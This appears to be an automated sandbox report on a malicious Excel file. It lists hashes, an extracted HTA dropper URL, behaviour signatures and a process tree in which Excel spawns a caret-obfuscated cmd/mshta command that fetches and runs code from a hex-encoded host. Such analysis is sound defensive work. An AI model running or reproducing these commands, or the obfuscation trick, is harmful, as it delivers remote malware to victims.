Analysis

  • max time kernel
    158s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:47

General

  • Target

    file-108.xls

  • Size

    64KB

  • MD5

    c2c4de85ee886fbc2a677f392d3c44bb

  • SHA1

    de79f091a6696269b1678762cf42088cacc3f2f8

  • SHA256

    2e073b0a6cdff74003aa7791807d3c23b10286a983192a6dc6a4dbe62b68a079

  • SHA512

    e43f87fd05d6cbb3b916151641c760ec00acfc90990024f3fd669b9cf52b007025464c5c8d277ac69d9b6a4a73323c34961a224a9110d97200398d52bbbd355d

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xc12a24f5/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\file-108.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:460
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1396
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xc12a24f5/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1260

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/460-54-0x000000002FF91000-0x000000002FF94000-memory.dmp
    Filesize

    12KB

  • memory/460-55-0x00000000718D1000-0x00000000718D3000-memory.dmp
    Filesize

    8KB

  • memory/460-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/460-57-0x0000000075531000-0x0000000075533000-memory.dmp
    Filesize

    8KB

  • memory/460-59-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB